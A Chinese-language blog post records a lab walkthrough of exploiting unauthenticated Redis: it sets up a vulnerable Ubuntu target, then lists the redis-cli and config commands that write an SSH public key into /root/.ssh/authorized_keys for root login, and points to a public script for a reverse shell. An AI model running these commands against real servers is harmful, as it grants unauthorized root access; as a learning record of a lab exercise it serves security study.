從redis未授權訪問到獲取服務器權限
好久沒寫博客了,博客園快荒蕪了。趕緊再寫一篇,算是一個關於自己學習的簡要的記錄把。
這里是關於redis未授權訪問漏洞的一篇漏洞利用:
首先是redis,靶場搭建:
先是搭建ubuntu靶機,可參考這一篇文章:
https://zhuanlan.zhihu.com/p/141033713
全部安裝好了之后,安裝redis服務,這中間會有很多工具需要自行安裝,比如gcc,比如make,按照提示要求自行安裝就行了,ubuntu安裝還是要比其他linux簡單的。
安裝redis服務:
安裝redis服務也不需要重復造輪子了。這位大佬已經寫的非常清楚了,參照:
https://www.cnblogs.com/bmjoker/p/9548962.html
安裝好了之后:
redis-server /etc/redis.conf 啟動redis服務。注意,一定要用root用戶啟動。
啟動之后,這個redis未授權訪問靶機就算搭建完成了。
漏洞利用:
如果redis是以root的身份運行,且還是以未授權的方式暴露在公網上,那么攻擊者就可以通過redis給root賬戶寫入ssh公鑰文件,然后通過自己的私鑰連接redis服務器,以root用戶身份直接登錄服務器。
下面是漏洞利用過程:
首先本地生成一對公私鑰,使用命令:
ssh-keygen -t rsa
於是乎,就會在你的服務器上的.ssh文件夾下生成2個文件,如下:一個公鑰,一個私鑰:
將生成的公鑰的內容前后添加3個\n,即3個回車,保存到一個txt文件中。
然后將該txt中的內容寫入redis:
cat test.txt | redis-cli -h 192.168.145.135 -x set ok
登錄redis服務器:
redis-cli -h 192.168.145.135
config get dir命令可以得到redis的備份路徑
更改redis備份路徑為ssh公鑰存放目錄,即/root/.ssh:
config set dir /root/.ssh
然后設置上傳公鑰的備份文件名字為authorized_keys:
config set dbfilename authorized_keys
然后
save
這時,就可以通過ssh -i id_rsa root@192.168.145.135以私鑰的方式遠程連接redis服務器了。
上述的漏洞利用方法是必須要求redis服務的運行權限是root權限的,所以比較苛刻。其實,非root用戶的redis4.x-5.x版本的redis服務有直接的命令執行漏洞,可以直接那來使用:
使用腳本:
https://github.com/vulhub/redis-rogue-getshell
使用該腳本即可直接在redis服務器上執行命令,進而反彈shell。